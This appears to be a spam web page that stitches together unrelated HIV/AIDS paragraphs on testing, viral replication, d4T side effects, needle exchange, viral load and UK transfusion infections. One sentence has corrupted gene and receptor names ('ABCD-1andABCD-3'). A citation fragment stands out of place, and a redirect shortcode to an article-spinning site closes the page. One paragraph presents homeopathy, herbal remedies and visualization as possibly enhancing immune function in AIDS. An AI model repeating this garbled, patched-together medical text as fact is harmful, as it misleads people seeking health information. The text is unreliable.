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Serological tests, such as RDTs or enzyme immunoassays (EIAs), detect the presence or absence of antibodies to HIV-1/2 and/or HIV p24 antigen. No single HIV test can provide an HIV-positive diagnosis. It is important that these tests are used in combination and in a specific order that has been validated and is based on HIV prevalence of the population being tested. HIV infection can be detected with great accuracy, using WHO prequalified tests within a validated approach.

Alternative treatments for AIDS can be grouped into two categories: those intended to help the immune system and those aimed at pain control. Treatments that may enhance the function of the immune system include Chinese herbal medicine and western herbal medicine, macrobiotic and other special diets, guided imagery and creative visualization, homeopathy, and vitamin therapy. Pain control therapies include hydrotherapy, reiki, acupuncture, meditation, chiropractic treatments, and therapeutic massage. Alternative therapies also can be used to help with side effects of the medications used in the treatment of AIDS.

Human immunodeficiency virus, or HIV, is the virus that causes acquired immune deficiency syndrome (AIDS). The virus weakens a person’s ability to fight infections and cancer. People with HIV are said to have AIDS when they develop certain infections or cancers or when their CD4 count is less than 200. CD4 (T-cell) count is determined by a blood test in a doctor’s office.

Viral replication requires that reverse transcriptase (an RNA-dependent DNA polymerase) copy HIV RNA, producing proviral DNA; this copying mechanism is prone to errors, resulting in frequent mutations and thus new HIV genotypes. These mutations facilitate the generation of HIV that can resist control by the host’s immune system and by antiretroviral drugs.

D4T can damage nerves and cause peripheral neuropathy, a neurological condition with numbness and/or tingling of the feet and hands, and inflammation of the pancreas (pancreatitis) that causes nausea, vomiting, and mid/upper abdominal pain.

The spread of HIV was retrospectively shown to follow the trucking routes across Africa from logging camps, and the bush-meat trade combined with aggressive logging and improved transportation in the mid-20th century may have allowed what was likely occasional cross-species transmission events to propagate across the country and, eventually, the globe. [19]

Scientists have also learned that if a city has a needle exchange program it will have fewer people who use illegal drugs. Needle exchange programs are where people can come in and trade dirty needles for clean needles. This means that if they use drugs they will be more safe. But needle exchange programs do more than give people clean needles. They teach people about drugs. If people want to stop using drugs, they help them.

Viral load represents how quickly HIV is replicating. When people are first infected, viral load increases rapidly. Then, after about 3 to 6 months, even without treatment, it drops to a lower level, which remains constant, called the set point. This level varies widely from person to person—from as little as a few hundred to over a million copies per microliter of blood.

Illness may not occur for months or years after untreated HIV infection. Without treatment, most adults will develop severe disease within 10 years of infection. Treatment of HIV with drug therapy has become much more effective in the past few years, prolonging life and increasing quality of life in people with HIV.

In conclusion, ABCD-1andABCD-3as well as theABCD-3receptorCX3CR1 have been implicated in interfering with human immunodeficiency virus infection, progression, or induced cell death. These observations suggest a potential therapeutic utility of agonists of ABCD-1 and ABCD-3 receptors CCR4 and CX3CR1.

People with AIDS or who have had positive HIV antibody tests may pass the disease on to others. They should not donate blood, plasma, body organs, or sperm. They should not exchange body fluids during sexual activity.

^ Jump up to: a b Chou R, Huffman LH, Fu R, Smits AK, Korthuis PT (July 2005). “Screening for HIV: a review of the evidence for the U.S. Preventive Services Task Force”. Annals of Internal Medicine. 143 (1): 55–73. doi:10.7326/0003-4819-143-1-200507050-00010. PMID 15998755.

Around 1,350 people in the UK have been infected through treatment with blood factor concentrates and all but 13 are male. Two thirds have died, 31% of them without AIDS having been reported. People with haemophilia may die from liver disease and haemorrhage before the development of an AIDS-defining condition. Since 1985, all blood donations have been screened for HIV antibody. There have been only two proven incidents of antibody-negative blood infectious for HIV being accepted for transfusion in the UK since then (the donor being in the ‘window period’ when blood is infectious because of recent HIV infection but too early for antibodies to be reliably detected by the screening antibody test). Most diagnoses from blood transfusions come from areas of the world where screening is unreliable and inconsistent. The last infection acquired from such a source was reported in 2002. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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